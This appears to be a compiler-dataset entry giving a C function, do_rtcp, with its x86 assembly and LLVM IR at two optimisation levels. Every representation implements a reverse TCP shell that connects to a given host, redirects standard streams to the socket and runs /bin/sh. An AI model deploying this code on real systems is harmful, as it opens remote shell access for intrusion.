#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct addrinfo {
  int ai_addrlen;
  int /*<<< orphan*/ ai_addr;
  int /*<<< orphan*/ ai_protocol;
  int /*<<< orphan*/ ai_socktype;
  int /*<<< orphan*/ ai_family;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int connect(int, int /*<<< orphan*/, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, char **, int /*<<< orphan*/ *);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
char *gai_strerror(int);
int getaddrinfo(char const *, char const *, struct addrinfo *,
                struct addrinfo **);
int /*<<< orphan*/ memset(struct addrinfo *, int /*<<< orphan*/, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, ...);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ stderr;
int do_rtcp(const char *host, const char *port) {
  char *ex[4];
  int s;
  struct addrinfo hints;
  struct addrinfo *res;
  int ret;
  printf("do_rtcp()\n");
  memset(&hints, 0, sizeof hints);
  hints.ai_family = AF_INET;
  hints.ai_socktype = SOCK_STREAM;
  ret = getaddrinfo(host, port, &hints, &res);
  if (ret != 0) {
    fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(ret));
    return 1;
  }
  s = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
  if (s < 0) {
    perror("socket");
    return 1;
  }
  printf("ai_addrlen: %d\n", res->ai_addrlen);
  ret = connect(s, res->ai_addr, res->ai_addrlen);
  if (ret < 0) {
    perror("connect");
    return 1;
  }
  dup2(s, 0);
  dup2(s, 1);
  dup2(s, 2);
  ex[0] = "/bin/sh";
  ex[1] = "sh";
  ex[2] = NULL;
  execve(ex[0], &ex[1], NULL);
  return 1;
}


x86 assembly (clang, -O0):
<do_rtcp>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
mov    %rdi,-0x10(%rbp)
mov    %rsi,-0x18(%rbp)
lea    0xe49(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    -0x58(%rbp),%rdi
xor    %esi,%esi
mov    $0x14,%edx
call   1060 <memset@plt>
mov    0x2e13(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x48(%rbp)
mov    0x2def(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4c(%rbp)
mov    -0x10(%rbp),%rdi
mov    -0x18(%rbp),%rsi
lea    -0x58(%rbp),%rdx
lea    -0x60(%rbp),%rcx
call   10b0 <getaddrinfo@plt>
mov    %eax,-0x64(%rbp)
cmpl   $0x0,-0x64(%rbp)
je     123a <do_rtcp+0x9a>
mov    0x2dc9(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x68(%rbp)
mov    -0x64(%rbp),%edi
call   1050 <gai_strerror@plt>
mov    -0x68(%rbp),%edi
mov    %rax,%rdx
lea    0xde2(%rip),%rsi
call   1080 <fprintf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1325 <do_rtcp+0x185>
mov    -0x60(%rbp),%rax
mov    0x10(%rax),%edi
mov    -0x60(%rbp),%rax
mov    0xc(%rax),%esi
mov    -0x60(%rbp),%rax
mov    0x8(%rax),%edx
call   10c0 <socket@plt>
mov    %eax,-0x44(%rbp)
cmpl   $0x0,-0x44(%rbp)
jge    1279 <do_rtcp+0xd9>
lea    0xdb4(%rip),%rdi
call   1090 <perror@plt>
movl   $0x1,-0x4(%rbp)
jmp    1325 <do_rtcp+0x185>
mov    -0x60(%rbp),%rax
mov    (%rax),%esi
lea    0xd9d(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
mov    -0x44(%rbp),%edi
mov    -0x60(%rbp),%rax
mov    0x4(%rax),%esi
mov    -0x60(%rbp),%rax
mov    (%rax),%edx
call   10a0 <connect@plt>
mov    %eax,-0x64(%rbp)
cmpl   $0x0,-0x64(%rbp)
jge    12c7 <do_rtcp+0x127>
lea    0xd7d(%rip),%rdi
call   1090 <perror@plt>
movl   $0x1,-0x4(%rbp)
jmp    1325 <do_rtcp+0x185>
mov    -0x44(%rbp),%edi
xor    %esi,%esi
call   1030 <dup2@plt>
mov    -0x44(%rbp),%edi
mov    $0x1,%esi
call   1030 <dup2@plt>
mov    -0x44(%rbp),%edi
mov    $0x2,%esi
call   1030 <dup2@plt>
lea    0xd49(%rip),%rax
mov    %rax,-0x40(%rbp)
lea    0xd43(%rip),%rax
mov    %rax,-0x38(%rbp)
movq   $0x0,-0x30(%rbp)
mov    -0x40(%rbp),%rdi
lea    -0x40(%rbp),%rsi
add    $0x8,%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1070 <execve@plt>
movl   $0x1,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x70,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<do_rtcp>:
push   %r15
push   %r14
push   %rbx
sub    $0x40,%rsp
mov    %rsi,%r14
mov    %rdi,%rbx
lea    0xe72(%rip),%rdi
call   1030 <puts@plt>
lea    0x8(%rsp),%r15
mov    %r15,%rdi
xor    %esi,%esi
mov    $0x14,%edx
call   1070 <memset@plt>
mov    0x2e02(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x18(%rsp)
mov    0x2ddd(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x14(%rsp)
mov    %rsp,%rcx
mov    %rbx,%rdi
mov    %r14,%rsi
mov    %r15,%rdx
call   10c0 <getaddrinfo@plt>
test   %eax,%eax
je     1234 <do_rtcp+0x84>
mov    0x2dc3(%rip),%rcx
mov    (%rcx),%ebx
mov    %eax,%edi
call   1060 <gai_strerror@plt>
lea    0xddb(%rip),%rsi
mov    %ebx,%edi
mov    %rax,%rdx
call   1090 <fprintf@plt>
jmp    12c6 <do_rtcp+0x116>
mov    (%rsp),%rax
mov    0x10(%rax),%edi
mov    0x8(%rax),%edx
mov    0xc(%rax),%esi
call   10d0 <socket@plt>
test   %eax,%eax
js     12d5 <do_rtcp+0x125>
mov    %eax,%ebx
mov    (%rsp),%rax
mov    (%rax),%esi
lea    0xdbb(%rip),%rdi
xor    %eax,%eax
call   1050 <printf@plt>
mov    (%rsp),%rax
mov    (%rax),%edx
mov    0x4(%rax),%esi
mov    %ebx,%edi
call   10b0 <connect@plt>
test   %eax,%eax
js     12e3 <do_rtcp+0x133>
mov    %ebx,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xd90(%rip),%rdi
mov    %rdi,0x20(%rsp)
lea    0x28(%rsp),%rsi
lea    0xd84(%rip),%rax
mov    %rax,0x28(%rsp)
movq   $0x0,0x30(%rsp)
xor    %edx,%edx
call   1080 <execve@plt>
mov    $0x1,%eax
add    $0x40,%rsp
pop    %rbx
pop    %r14
pop    %r15
ret
lea    0xd35(%rip),%rdi
call   10a0 <perror@plt>
jmp    12c6 <do_rtcp+0x116>
lea    0xd3e(%rip),%rdi
call   10a0 <perror@plt>
jmp    12c6 <do_rtcp+0x116>

LLVM IR (-O0):
%struct.addrinfo = type { i32, i32, i32, i32, i32 }
@.str = [11 x i8] c"do_rtcp()\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@stderr = global i32 0
@.str.1 = [17 x i8] c"getaddrinfo: %s\0A\00"
@.str.2 = [7 x i8] c"socket\00"
@.str.3 = [16 x i8] c"ai_addrlen: %d\0A\00"
@.str.4 = [8 x i8] c"connect\00"
@.str.5 = [8 x i8] c"/bin/sh\00"
@.str.6 = [3 x i8] c"sh\00"
define i32 @do_rtcp(i8* %0, i8* %1) {
%3 = alloca i32
%4 = alloca i8*
%5 = alloca i8*
%6 = alloca [4 x i8*]
%7 = alloca i32
%8 = alloca %struct.addrinfo
%9 = alloca %struct.addrinfo*
%10 = alloca i32
store i8* %0, i8** %4
store i8* %1, i8** %5
%11 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i64 0, i64 0))
%12 = call i32 @memset(%struct.addrinfo* %8, i32 0, i32 20)
%13 = load i32, i32* @AF_INET
%14 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %8, i32 0, i32 4
store i32 %13, i32* %14
%15 = load i32, i32* @SOCK_STREAM
%16 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %8, i32 0, i32 3
store i32 %15, i32* %16
%17 = load i8*, i8** %4
%18 = load i8*, i8** %5
%19 = call i32 @getaddrinfo(i8* %17, i8* %18, %struct.addrinfo* %8, %struct.addrinfo** %9)
store i32 %19, i32* %10
%20 = load i32, i32* %10
%21 = icmp ne i32 %20, 0
br i1 %21, label %22, label %27
22: ; preds = %2
%23 = load i32, i32* @stderr
%24 = load i32, i32* %10
%25 = call i8* @gai_strerror(i32 %24)
%26 = call i32 @fprintf(i32 %23, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.1, i64 0, i64 0), i8* %25)
store i32 1, i32* %3
br label %73
27: ; preds = %2
%28 = load %struct.addrinfo*, %struct.addrinfo** %9
%29 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %28, i32 0, i32 4
%30 = load i32, i32* %29
%31 = load %struct.addrinfo*, %struct.addrinfo** %9
%32 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %31, i32 0, i32 3
%33 = load i32, i32* %32
%34 = load %struct.addrinfo*, %struct.addrinfo** %9
%35 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %34, i32 0, i32 2
%36 = load i32, i32* %35
%37 = call i32 @socket(i32 %30, i32 %33, i32 %36)
store i32 %37, i32* %7
%38 = load i32, i32* %7
%39 = icmp slt i32 %38, 0
br i1 %39, label %40, label %42
40: ; preds = %27
%41 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.2, i64 0, i64 0))
store i32 1, i32* %3
br label %73
42: ; preds = %27
%43 = load %struct.addrinfo*, %struct.addrinfo** %9
%44 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %43, i32 0, i32 0
%45 = load i32, i32* %44
%46 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0), i32 %45)
%47 = load i32, i32* %7
%48 = load %struct.addrinfo*, %struct.addrinfo** %9
%49 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %48, i32 0, i32 1
%50 = load i32, i32* %49
%51 = load %struct.addrinfo*, %struct.addrinfo** %9
%52 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %51, i32 0, i32 0
%53 = load i32, i32* %52
%54 = call i32 @connect(i32 %47, i32 %50, i32 %53)
store i32 %54, i32* %10
%55 = load i32, i32* %10
%56 = icmp slt i32 %55, 0
br i1 %56, label %57, label %59
57: ; preds = %42
%58 = call i32 @perror(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0))
store i32 1, i32* %3
br label %73
59: ; preds = %42
%60 = load i32, i32* %7
%61 = call i32 @dup2(i32 %60, i32 0)
%62 = load i32, i32* %7
%63 = call i32 @dup2(i32 %62, i32 1)
%64 = load i32, i32* %7
%65 = call i32 @dup2(i32 %64, i32 2)
%66 = getelementptr inbounds [4 x i8*], [4 x i8*]* %6, i64 0, i64 0
store i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i8** %66
%67 = getelementptr inbounds [4 x i8*], [4 x i8*]* %6, i64 0, i64 1
store i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.6, i64 0, i64 0), i8** %67
%68 = getelementptr inbounds [4 x i8*], [4 x i8*]* %6, i64 0, i64 2
store i8* null, i8** %68
%69 = getelementptr inbounds [4 x i8*], [4 x i8*]* %6, i64 0, i64 0
%70 = load i8*, i8** %69
%71 = getelementptr inbounds [4 x i8*], [4 x i8*]* %6, i64 0, i64 1
%72 = call i32 @execve(i8* %70, i8** %71, i32* null)
store i32 1, i32* %3
br label %73
73: ; preds = %59, %57, %40, %22
%74 = load i32, i32* %3
ret i32 %74
}

LLVM IR (-O2):
%struct.addrinfo = type { i32, i32, i32, i32, i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@stderr = global i32 0
@.str.1 = [17 x i8] c"getaddrinfo: %s\0A\00"
@.str.2 = [7 x i8] c"socket\00"
@.str.3 = [16 x i8] c"ai_addrlen: %d\0A\00"
@.str.4 = [8 x i8] c"connect\00"
@.str.5 = [8 x i8] c"/bin/sh\00"
@.str.6 = [3 x i8] c"sh\00"
@str = [10 x i8] c"do_rtcp()\00"
define i32 @do_rtcp(i8* %0, i8* %1) {
%3 = alloca [4 x i8*]
%4 = alloca %struct.addrinfo
%5 = alloca %struct.addrinfo*
%6 = bitcast [4 x i8*]* %3 to i8*
%7 = bitcast %struct.addrinfo* %4 to i8*
%8 = bitcast %struct.addrinfo** %5 to i8*
%9 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([10 x i8], [10 x i8]* @str, i64 0, i64 0))
%10 = call i32 @memset(%struct.addrinfo* %4, i32 0, i32 20)
%11 = load i32, i32* @AF_INET
%12 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %4, i64 0, i32 4
store i32 %11, i32* %12
%13 = load i32, i32* @SOCK_STREAM
%14 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %4, i64 0, i32 3
store i32 %13, i32* %14
%15 = call i32 @getaddrinfo(i8* %0, i8* %1, %struct.addrinfo* %4, %struct.addrinfo** %5)
%16 = icmp eq i32 %15, 0
br i1 %16, label %21, label %17
17: ; preds = %2
%18 = load i32, i32* @stderr
%19 = call i8* @gai_strerror(i32 %15)
%20 = call i32 @fprintf(i32 %18, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.1, i64 0, i64 0), i8* %19)
br label %55
21: ; preds = %2
%22 = load %struct.addrinfo*, %struct.addrinfo** %5
%23 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %22, i64 0, i32 4
%24 = load i32, i32* %23
%25 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %22, i64 0, i32 3
%26 = load i32, i32* %25
%27 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %22, i64 0, i32 2
%28 = load i32, i32* %27
%29 = call i32 @socket(i32 %24, i32 %26, i32 %28)
%30 = icmp slt i32 %29, 0
br i1 %30, label %31, label %33
31: ; preds = %21
%32 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.2, i64 0, i64 0))
br label %55
33: ; preds = %21
%34 = load %struct.addrinfo*, %struct.addrinfo** %5
%35 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %34, i64 0, i32 0
%36 = load i32, i32* %35
%37 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0), i32 %36)
%38 = load %struct.addrinfo*, %struct.addrinfo** %5
%39 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %38, i64 0, i32 1
%40 = load i32, i32* %39
%41 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %38, i64 0, i32 0
%42 = load i32, i32* %41
%43 = call i32 @connect(i32 %29, i32 %40, i32 %42)
%44 = icmp slt i32 %43, 0
br i1 %44, label %45, label %47
45: ; preds = %33
%46 = call i32 @perror(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0))
br label %55
47: ; preds = %33
%48 = call i32 @dup2(i32 %29, i32 0)
%49 = call i32 @dup2(i32 %29, i32 1)
%50 = call i32 @dup2(i32 %29, i32 2)
%51 = getelementptr inbounds [4 x i8*], [4 x i8*]* %3, i64 0, i64 0
store i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i8** %51
%52 = getelementptr inbounds [4 x i8*], [4 x i8*]* %3, i64 0, i64 1
store i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.6, i64 0, i64 0), i8** %52
%53 = getelementptr inbounds [4 x i8*], [4 x i8*]* %3, i64 0, i64 2
store i8* null, i8** %53
%54 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.5, i64 0, i64 0), i8** %52, i32* null)
br label %55
55: ; preds = %47, %45, %31, %17
ret i32 1
}